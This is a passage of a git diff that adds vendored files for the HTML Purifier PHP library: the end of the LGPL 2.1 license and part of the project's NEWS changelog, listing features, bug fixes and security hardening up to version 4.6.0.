+whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Libraries + + If you develop a new library, and you want it to be of the greatest +possible use to the public, we recommend making it free software that +everyone can redistribute and change. You can do so by permitting +redistribution under these terms (or, alternatively, under the terms of the +ordinary General Public License). + + To apply these terms, attach the following notices to the library. It is +safest to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +Also add information on how to contact you by electronic and paper mail. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the library, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + library `Frob' (a library for tweaking knobs) written by James Random Hacker. + + , 1 April 1990 + Ty Coon, President of Vice + +That's all there is to it! + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/NEWS b/php/yii2/basic/vendor/ezyang/htmlpurifier/NEWS new file mode 100644 index 00000000..90a05462 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/NEWS @@ -0,0 +1,1078 @@ +NEWS ( CHANGELOG and HISTORY ) HTMLPurifier +||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| + += KEY ==================== + # Breaks back-compat + ! Feature + - Bugfix + + Sub-comment + . Internal change +========================== + +4.6.0, released 2013-11-30 +# Secure URI munge hashing algorithm has changed to hash_hmac("sha256", $url, $secret). + Please update any verification scripts you may have. +# URI parsing algorithm was made more strict, so only prefixes which + looks like schemes will actually be schemes. Thanks + Michael Gusev for fixing. +# %Core.EscapeInvalidChildren is no longer supported, and no longer does + anything. +! New directive %Core.AllowHostnameUnderscore which allows underscores + in hostnames. +- Eliminate quadratic behavior in DOMLex by using a proper queue. + Thanks Ole Laursen for noticing this. +- Rewritten MakeWellFormed/FixNesting implementation eliminates quadratic + behavior in the rest of the purificaiton pipeline. Thanks Chedburn + Networks for sponsoring this work. +- Made Linkify URL parser a bit less permissive, so that non-breaking + spaces and commas are not included as part of URL. Thanks nAS for fixing. +- Fix some bad interactions with %HTML.Allowed and injectors. Thanks + David Hirtz for reporting. +- Fix infinite loop in DirectLex. Thanks Ashar Javed (@soaj1664ashar) + for reporting. + +4.5.0, released 2013-02-17 +# Fix bug where stacked attribute transforms clobber each other; + this also means it's no longer possible to override attribute + transforms in later modules. No internal code was using this + but this may break some clients. +# We now use SHA-1 to identify cached definitions, instead of MD5. +! Support display:inline-block +! Support for more white-space CSS values. +! Permit underscores in font families +! Support for page-break-* CSS3 properties when proprietary properties + are enabled. +! New directive %Core.DisableExcludes; can be set to 'true' to turn off + SGML excludes checking. If HTML Purifier is removing too much text + and you don't care about full standards compliance, try setting this to + 'true'. +- Use prepend for SPL autoloading on PHP 5.3 and later. +- Fix bug with nofollow transform when pre-existing rel exists. +- Fix bug where background:url() always gets lower-cased + (but not background-image:url()) +- Fix bug with non lower-case color names in HTML +- Fix bug where data URI validation doesn't remove temporary files. + Thanks Javier Marín Ros for reporting. +- Don't remove certain empty tags on RemoveEmpty. + +4.4.0, released 2012-01-18 +# Removed PEARSax3 handler. +# URI.Munge now munges URIs inside the same host that go from https + to http. Reported by Neike Taika-Tessaro. +# Core.EscapeNonASCIICharacters now always transforms entities to + entities, even if target encoding is UTF-8. +# Tighten up selector validation in ExtractStyleBlocks. + Non-syntactically valid selectors are now rejected, along with + some of the more obscure ones such as attribute selectors, the + :lang pseudoselector, and anything not in CSS2.1. Furthermore, + ID and class selectors now work properly with the relevant + configuration attributes. Also, mute errors when parsing CSS + with CSS Tidy. Reported by Mario Heiderich and Norman Hippert. +! Added support for 'scope' attribute on tables. +! Added %HTML.TargetBlank, which adds target="blank" to all outgoing links. +! Properly handle sub-lists directly nested inside of lists in + a standards compliant way, by moving them into the preceding
  3. +! Added %HTML.AllowedComments and %HTML.AllowedCommentsRegexp for + limited allowed comments in untrusted situations. +! Implement iframes, and allow them to be used in untrusted mode with + %HTML.SafeIframe and %URI.SafeIframeRegexp. Thanks Bradley M. Froehle + for submitting an initial version of the patch. +! The Forms module now works properly for transitional doctypes. +! Added support for internationalized domain names. You need the PEAR + Net_IDNA2 module to be in your path; if it is installed, ensure the + class can be loaded and then set %Core.EnableIDNA to true. +- Color keywords are now case insensitive. Thanks Yzmir Ramirez + for reporting. +- Explicitly initialize anonModule variable to null. +- Do not duplicate nofollow if already present. Thanks 178 + for reporting. +- Do not add nofollow if hostname matches our current host. Thanks 178 + for reporting, and Neike Taika-Tessaro for helping diagnose. +- Do not unset parser variable; this fixes intermittent serialization + problems. Thanks Neike Taika-Tessaro for reporting, bill + <10010tiger@gmail.com> for diagnosing. +- Fix iconv truncation bug, where non-UTF-8 target encodings see + output truncated after around 8000 characters. Thanks Jörg Ludwig + for reporting. +- Fix broken table content model for XHTML1.1 (and also earlier + versions, although the W3C validator doesn't catch those violations). + Thanks GlitchMr for reporting. + +4.3.0, released 2011-03-27 +# Fixed broken caching of customized raw definitions, but requires an + API change. The old API still works but will emit a warning, + see http://htmlpurifier.org/docs/enduser-customize.html#optimized + for how to upgrade your code. +# Protect against Internet Explorer innerHTML behavior by specially + treating attributes with backticks but no angled brackets, quotes or + spaces. This constitutes a slight semantic change, which can be + reverted using %Output.FixInnerHTML. Reported by Neike Taika-Tessaro + and Mario Heiderich. +# Protect against cssText/innerHTML by restricting allowed characters + used in fonts further than mandated by the specification and encoding + some extra special characters in URLs. Reported by Neike + Taika-Tessaro and Mario Heiderich. +! Added %HTML.Nofollow to add rel="nofollow" to external links. +! More types of SPL autoloaders allowed on later versions of PHP. +! Implementations for position, top, left, right, bottom, z-index + when %CSS.Trusted is on. +! Add %Cache.SerializerPermissions option for custom serializer + directory/file permissions +! Fix longstanding bug in Flash support for non-IE browsers, and + allow more wmode attributes. +! Add %CSS.AllowedFonts to restrict permissible font names. +- Switch to an iterative traversal of the DOM, which prevents us + from running out of stack space for deeply nested documents. + Thanks Maxim Krizhanovsky for contributing a patch. +- Make removal of conditional IE comments ungreedy; thanks Bernd + for reporting. +- Escape CDATA before removing Internet Explorer comments. +- Fix removal of id attributes under certain conditions by ensuring + armor attributes are preserved when recreating tags. +- Check if schema.ser was corrupted. +- Check if zend.ze1_compatibility_mode is on, and error out if it is. + This safety check is only done for HTMLPurifier.auto.php; if you + are using standalone or the specialized includes files, you're + expected to know what you're doing. +- Stop repeatedly writing the cache file after I'm done customizing a + raw definition. Reported by ajh. +- Switch to using require_once in the Bootstrap to work around bad + interaction with Zend Debugger and APC. Reported by Antonio Parraga. +- Fix URI handling when hostname is missing but scheme is present. + Reported by Neike Taika-Tessaro. +- Fix missing numeric entities on DirectLex; thanks Neike Taika-Tessaro + for reporting. +- Fix harmless notice from indexing into empty string. Thanks Matthijs + Kooijman for reporting. +- Don't autoclose no parent elements are able to support the element + that triggered the autoclose. In particular fixes strange behavior + of stray
  4. tags. Thanks pkuliga@gmail.com for reporting and + Neike Taika-Tessaro for debugging assistance. + +4.2.0, released 2010-09-15 +! Added %Core.RemoveProcessingInstructions, which lets you remove + statements. +! Added %URI.DisableResources functionality; the directive originally + did nothing. Thanks David Rothstein for reporting. +! Add documentation about configuration directive types. +! Add %CSS.ForbiddenProperties configuration directive. +! Add %HTML.FlashAllowFullScreen to permit embedded Flash objects + to utilize full-screen mode. +! Add optional support for the file URI scheme, enable + by explicitly setting %URI.AllowedSchemes. +! Add %Core.NormalizeNewlines options to allow turning off newline + normalization. +- Fix improper handling of Internet Explorer conditional comments + by parser. Thanks zmonteca for reporting. +- Fix missing attributes bug when running on Mac Snow Leopard and APC. + Thanks sidepodcast for the fix. +- Warn if an element is allowed, but an attribute it requires is + not allowed. + +4.1.1, released 2010-05-31 +- Fix undefined index warnings in maintenance scripts. +- Fix bug in DirectLex for parsing elements with a single attribute + with entities. +- Rewrite CSS output logic for font-family and url(). Thanks Mario + Heiderich for reporting and Takeshi + Terada for suggesting the fix. +- Emit an error for CollectErrors if a body is extracted +- Fix bug where in background-position for center keyword handling. +- Fix infinite loop when a wrapper element is inserted in a context + where it's not allowed. Thanks Lars for reporting. +- Remove +x bit and shebang from index.php; only supported mode is to + explicitly call it with php. +- Make test script less chatty when log_errors is on. + +4.1.0, released 2010-04-26 +! Support proprietary height attribute on table element +! Support YouTube slideshows that contain /cp/ in their URL. +! Support for data: URI scheme; not enabled by default, add it using + %URI.AllowedSchemes +! Support flashvars when using %HTML.SafeObject and %HTML.SafeEmbed. +! Support for Internet Explorer compatibility with %HTML.SafeObject + using %Output.FlashCompat. +! Handle
        properly, by inserting the necessary
      1. tag. +- Always quote the insides of url(...) in CSS. + +4.0.0, released 2009-07-07 +# APIs for ConfigSchema subsystem have substantially changed. See + docs/dev-config-bcbreaks.txt for details; in essence, anything that + had both namespace and directive now have a single unified key. +# Some configuration directives were renamed, specifically: + %AutoFormatParam.PurifierLinkifyDocURL -> %AutoFormat.PurifierLinkify.DocURL + %FilterParam.ExtractStyleBlocksEscaping -> %Filter.ExtractStyleBlocks.Escaping + %FilterParam.ExtractStyleBlocksScope -> %Filter.ExtractStyleBlocks.Scope + %FilterParam.ExtractStyleBlocksTidyImpl -> %Filter.ExtractStyleBlocks.TidyImpl + As usual, the old directive names will still work, but will throw E_NOTICE + errors. +# The allowed values for class have been relaxed to allow all of CDATA for + doctypes that are not XHTML 1.1 or XHTML 2.0. For old behavior, set + %Attr.ClassUseCDATA to false. +# Instead of appending the content model to an old content model, a blank + element will replace the old content model. You can use #SUPER to get + the old content model. +! More robust support for name="" and id="" +! HTMLPurifier_Config::inherit($config) allows you to inherit one + configuration, and have changes to that configuration be propagated + to all of its children. +! Implement %HTML.Attr.Name.UseCDATA, which relaxes validation rules on + the name attribute when set. Use with care. Thanks Ian Cook for + sponsoring. +! Implement %AutoFormat.RemoveEmpty.RemoveNbsp, which removes empty + tags that contain non-breaking spaces as well other whitespace. You + can also modify which tags should have   maintained with + %AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions. +! Implement %Attr.AllowedClasses, which allows administrators to restrict + classes users can use to a specified finite set of classes, and + %Attr.ForbiddenClasses, which is the logical inverse. +! You can now maintain your own configuration schema directories by + creating a config-schema.php file or passing an extra argument. Check + docs/dev-config-schema.html for more details. +! Added HTMLPurifier_Config->serialize() method, which lets you save away + your configuration in a compact serial file, which you can unserialize + and use directly without having to go through the overhead of setup. +- Fix bug where URIDefinition would not get cleared if it's directives got + changed. +- Fix fatal error in HTMLPurifier_Encoder on certain platforms (probably NetBSD 5.0) +- Fix bug in Linkify autoformatter involving http://foo +- Make %URI.Munge not apply to links that have the same host as your host. +- Prevent stray tag from truncating output, if a second + is present. +. Created script maintenance/rename-config.php for renaming a configuration + directive while maintaining its alias. This script does not change source code. +. Implement namespace locking for definition construction, to prevent + bugs where a directive is used for definition construction but is not + used to construct the cache hash. + +3.3.0, released 2009-02-16 +! Implement CSS property 'overflow' when %CSS.AllowTricky is true. +! Implement generic property list classess +- Fix bug with testEncodingSupportsASCII() algorithm when iconv() implementation + does not do the "right thing" with characters not supported in the output + set. +- Spellcheck UTF-8: The Secret To Character Encoding +- Fix improper removal of the contents of elements with only whitespace. Thanks + Eric Wald for reporting. +- Fix broken test suite in versions of PHP without spl_autoload_register() +- Fix degenerate case with YouTube filter involving double hyphens. + Thanks Pierre Attar for reporting. +- Fix YouTube rendering problem on certain versions of Firefox. +- Fix CSSDefinition Printer problems with decorators +- Add text parameter to unit tests, forces text output +. Add verbose mode to command line test runner, use (--verbose) +. Turn on unit tests for UnitConverter +. Fix missing version number in configuration %Attr.DefaultImageAlt (added 3.2.0) +. Fix newline errors that caused spurious failures when CRLF HTML Purifier was + tested on Linux. +. Removed trailing whitespace from all text files, see + remote-trailing-whitespace.php maintenance script. +. Convert configuration to use property list backend. + +3.2.0, released 2008-10-31 +# Using %Core.CollectErrors forces line number/column tracking on, whereas + previously you could theoretically turn it off. +# HTMLPurifier_Injector->notifyEnd() is formally deprecated. Please + use handleEnd() instead. +! %Output.AttrSort for when you need your attributes in alphabetical order to + deal with a bug in FCKEditor. Requested by frank farmer. +! Enable HTML comments when %HTML.Trusted is on. Requested by Waldo Jaquith. +! Proper support for name attribute. It is now allowed and equivalent to the id + attribute in a and img tags, and is only converted to id when %HTML.TidyLevel + is heavy (for all doctypes). +! %AutoFormat.RemoveEmpty to remove some empty tags from documents. Please don't + use on hand-written HTML. +! Add error-cases for unsupported elements in MakeWellFormed. This enables + the strategy to be used, standalone, on untrusted input. +! %Core.AggressivelyFixLt is on by default. This causes more sensible + processing of left angled brackets in smileys and other whatnot. +! Test scripts now have a 'type' parameter, which lets you say 'htmlpurifier', + 'phpt', 'vtest', etc. in order to only execute those tests. This supercedes + the --only-phpt parameter, although for backwards-compatibility the flag + will still work. +! AutoParagraph auto-formatter will now preserve double-newlines upon output. + Users who are not performing inbound filtering, this may seem a little + useless, but as a bonus, the test suite and handling of edge cases is also + improved. +! Experimental implementation of forms for %HTML.Trusted +! Track column numbers when maintain line numbers is on +! Proprietary 'background' attribute on table-related elements converted into + corresponding CSS. Thanks Fusemail for sponsoring this feature! +! Add forward(), forwardUntilEndToken(), backward() and current() to Injector + supertype. +! HTMLPurifier_Injector->handleEnd() permits modification to end tokens. The + time of operation varies slightly from notifyEnd() as *all* end tokens are + processed by the injector before they are subject to the well-formedness rules. +! %Attr.DefaultImageAlt allows overriding default behavior of setting alt to + basename of image when not present. +! %AutoFormat.DisplayLinkURI neuters tags into plain text URLs. +- Fix two bugs in %URI.MakeAbsolute; one involving empty paths in base URLs, + the other involving an undefined $is_folder error. +- Throw error when %Core.Encoding is set to a spurious value. Previously, + this errored silently and returned false. +- Redirected stderr to stdout for flush error output. +- %URI.DisableExternal will now use the host in %URI.Base if %URI.Host is not + available. +- Do not re-munge URL if the output URL has the same host as the input URL. + Requested by Chris. +- Fix error in documentation regarding %Filter.ExtractStyleBlocks +- Prevent ]]> from triggering %Core.ConvertDocumentToFragment +- Fix bug with inline elements in blockquotes conflicting with strict doctype +- Detect if HTML support is disabled for DOM by checking for loadHTML() method. +- Fix bug where dots and double-dots in absolute URLs without hostname were + not collapsed by URIFilter_MakeAbsolute. +- Fix bug with anonymous modules operating on SafeEmbed or SafeObject elements + by reordering their addition. +- Will now throw exception on many error conditions during lexer creation; also + throw an exception when MaintainLineNumbers is true, but a non-tracksLineNumbers + is being used. +- Detect if domxml extension is loaded, and use DirectLEx accordingly. +- Improve handling of big numbers with floating point arithmetic in UnitConverter. + Reported by David Morton. +. Strategy_MakeWellFormed now operates in-place, saving memory and allowing + for more interesting filter-backtracking +. New HTMLPurifier_Injector->rewind() functionality, allows injectors to rewind + index to reprocess tokens. +. StringHashParser now allows for multiline sections with "empty" content; + previously the section would remain undefined. +. Added --quick option to multitest.php, which tests only the most recent + release for each series. +. Added --distro option to multitest.php, which accepts either 'normal' or + 'standalone'. This supercedes --exclude-normal and --exclude-standalone + +3.1.1, released 2008-06-19 +# %URI.Munge now, by default, does not munge resources (for example, ) + In order to enable this again, please set %URI.MungeResources to true. +! More robust imagecrash protection with height/width CSS with %CSS.MaxImgLength, + and height/width HTML with %HTML.MaxImgLength. +! %URI.MungeSecretKey for secure URI munging. Thanks Chris + for sponsoring this feature. Check out the corresponding documentation + for details. (Att Nightly testers: The API for this feature changed before + the general release. Namely, rename your directives %URI.SecureMungeSecretKey => + %URI.MungeSecretKey and and %URI.SecureMunge => %URI.Munge) +! Implemented post URI filtering. Set member variable $post to true to set + a URIFilter as such. +! Allow modules to define injectors via $info_injector. Injectors are + automatically disabled if injector's needed elements are not found. +! Support for "safe" objects added, use %HTML.SafeObject and %HTML.SafeEmbed. + Thanks Chris for sponsoring. If you've been using ad hoc code from the + forums, PLEASE use this instead. +! Added substitutions for %e, %n, %a and %p in %URI.Munge (in order, + embedded, tag name, attribute name, CSS property name). See %URI.Munge + for more details. Requested by Jochem Blok. +- Disable percent height/width attributes for img. +- AttrValidator operations are now atomic; updates to attributes are not + manifest in token until end of operations. This prevents naughty internal + code from directly modifying CurrentToken when they're not supposed to. + This semantics change was requested by frank farmer. +- Percent encoding checks enabled for URI query and fragment +- Fix stray backslashes in font-family; CSS Unicode character escapes are + now properly resolved (although *only* in font-family). Thanks Takeshi Terada + for reporting. +- Improve parseCDATA algorithm to take into account newline normalization +- Account for browser confusion between Yen character and backslash in + Shift_JIS encoding. This fix generalizes to any other encoding which is not + a strict superset of printable ASCII. Thanks Takeshi Terada for reporting. +- Fix missing configuration parameter in Generator calls. Thanks vs for the + partial patch. +- Improved adherence to Unicode by checking for non-character codepoints. + Thanks Geoffrey Sneddon for reporting. This may result in degraded + performance for extremely large inputs. +- Allow CSS property-value pair ''text-decoration: none''. Thanks Jochem Blok + for reporting. +. Added HTMLPurifier_UnitConverter and HTMLPurifier_Length for convenient + handling of CSS-style lengths. HTMLPurifier_AttrDef_CSS_Length now uses + this class. +. API of HTMLPurifier_AttrDef_CSS_Length changed from __construct($disable_negative) + to __construct($min, $max). __construct(true) is equivalent to + __construct('0'). +. Added HTMLPurifier_AttrDef_Switch class +. Rename HTMLPurifier_HTMLModule_Tidy->construct() to setup() and bubble method + up inheritance hierarchy to HTMLPurifier_HTMLModule. All HTMLModules + get this called with the configuration object. All modules now + use this rather than __construct(), although legacy code using constructors + will still work--the new format, however, lets modules access the + configuration object for HTML namespace dependant tweaks. +. AttrDef_HTML_Pixels now takes a single construction parameter, pixels. +. ConfigSchema data-structure heavily optimized; on average it uses a third + the memory it did previously. The interface has changed accordingly, + consult changes to HTMLPurifier_Config for details. +. Variable parsing types now are magic integers instead of strings +. Added benchmark for ConfigSchema +. HTMLPurifier_Generator requires $config and $context parameters. If you + don't know what they should be, use HTMLPurifier_Config::createDefault() + and new HTMLPurifier_Context(). +. Printers now properly distinguish between output configuration, and + target configuration. This is not applicable to scripts using + the Printers for HTML Purifier related tasks. +. HTML/CSS Printers must be primed with prepareGenerator($gen_config), otherwise + fatal errors will ensue. +. URIFilter->prepare can return false in order to abort loading of the filter +. Factory for AttrDef_URI implemented, URI#embedded to indicate URI that embeds + an external resource. +. %URI.Munge functionality factored out into a post-filter class. +. Added CurrentCSSProperty context variable during CSS validation + +3.1.0, released 2008-05-18 +# Unnecessary references to objects (vestiges of PHP4) removed from method + signatures. The following methods do not need references when assigning from + them and will result in E_STRICT errors if you try: + + HTMLPurifier_Config->get*Definition() [* = HTML, CSS] + + HTMLPurifier_ConfigSchema::instance() + + HTMLPurifier_DefinitionCacheFactory::instance() + + HTMLPurifier_DefinitionCacheFactory->create() + + HTMLPurifier_DoctypeRegistry->register() + + HTMLPurifier_DoctypeRegistry->get() + + HTMLPurifier_HTMLModule->addElement() + + HTMLPurifier_HTMLModule->addBlankElement() + + HTMLPurifier_LanguageFactory::instance() +# Printer_ConfigForm's get*() functions were static-ified +# %HTML.ForbiddenAttributes requires attribute declarations to be in the + form of tag@attr, NOT tag.attr (which will throw an error and won't do + anything). This is for forwards compatibility with XML; you'd do best + to migrate an %HTML.AllowedAttributes directives to this syntax too. +! Allow index to be false for config from form creation +! Added HTMLPurifier::VERSION constant +! Commas, not dashes, used for serializer IDs. This change is forwards-compatible + and allows for version numbers like "3.1.0-dev". +! %HTML.Allowed deals gracefully with whitespace anywhere, anytime! +! HTML Purifier's URI handling is a lot more robust, with much stricter + validation checks and better percent encoding handling. Thanks Gareth Heyes + for indicating security vulnerabilities from lax percent encoding. +! Bootstrap autoloader deals more robustly with classes that don't exist, + preventing class_exists($class, true) from barfing. +- InterchangeBuilder now alphabetizes its lists +- Validation error in configdoc output fixed +- Iconv and other encoding errors muted even with custom error handlers that + do not honor error_reporting +- Add protection against imagecrash attack with CSS height/width +- HTMLPurifier::instance() created for consistency, is equivalent to getInstance() +- Fixed and revamped broken ConfigForm smoketest +- Bug with bool/null fields in Printer_ConfigForm fixed +- Bug with global forbidden attributes fixed +- Improved error messages for allowed and forbidden HTML elements and attributes +- Missing (or null) in configdoc documentation restored +- If DOM throws and exception during parsing with PH5P (occurs in newer versions + of DOM), HTML Purifier punts to DirectLex +- Fatal error with unserialization of ScriptRequired +- Created directories are now chmod'ed properly +- Fixed bug with fallback languages in LanguageFactory +- Standalone testing setup properly with autoload +. Out-of-date documentation revised +. UTF-8 encoding check optimization as suggested by Diego +. HTMLPurifier_Error removed in favor of exceptions +. More copy() function removed; should use clone instead +. More extensive unit tests for HTMLDefinition +. assertPurification moved to central harness +. HTMLPurifier_Generator accepts $config and $context parameters during + instantiation, not runtime +. Double-quotes outside of attribute values are now unescaped + +3.1.0rc1, released 2008-04-22 +# Autoload support added. Internal require_once's removed in favor of an + explicit require list or autoloading. To use HTML Purifier, + you must now either use HTMLPurifier.auto.php + or HTMLPurifier.includes.php; setting the include path and including + HTMLPurifier.php is insufficient--in such cases include HTMLPurifier.autoload.php + as well to register our autoload handler (or modify your autoload function + to check HTMLPurifier_Bootstrap::getPath($class)). You can also use + HTMLPurifier.safe-includes.php for a less performance friendly but more + user-friendly library load. +# HTMLPurifier_ConfigSchema static functions are officially deprecated. Schema + information is stored in the ConfigSchema directory, and the + maintenance/generate-schema-cache.php generates the schema.ser file, which + is now instantiated. Support for userland schema changes coming soon! +# HTMLPurifier_Config will now throw E_USER_NOTICE when you use a directive + alias; to get rid of these errors just modify your configuration to use + the new directive name. +# HTMLPurifier->addFilter is deprecated; built-in filters can now be + enabled using %Filter.$filter_name or by setting your own filters using + %Filter.Custom +# Directive-level safety properties superceded in favor of module-level + safety. Internal method HTMLModule->addElement() has changed, although + the externally visible HTMLDefinition->addElement has *not* changed. +! Extra utility classes for testing and non-library operations can + be found in extras/. Specifically, these are FSTools and ConfigDoc. + You may find a use for these in your own project, but right now they + are highly experimental and volatile. +! Integration with PHPT allows for automated smoketests +! Limited support for proprietary HTML elements, namely , sponsored + by Chris. You can enable them with %HTML.Proprietary if your client + demands them. +! Support for !important CSS cascade modifier. By default, this will be stripped + from CSS, but you can enable it using %CSS.AllowImportant +! Support for display and visibility CSS properties added, set %CSS.AllowTricky + to true to use them. +! HTML Purifier now has its own Exception hierarchy under HTMLPurifier_Exception. + Developer error (not enduser error) can cause these to be triggered. +! Experimental kses() wrapper introduced with HTMLPurifier.kses.php +! Finally %CSS.AllowedProperties for tweaking allowed CSS properties without + mucking around with HTMLPurifier_CSSDefinition +! ConfigDoc output has been enhanced with version and deprecation info. +! %HTML.ForbiddenAttributes and %HTML.ForbiddenElements implemented. +- Autoclose now operates iteratively, i.e.
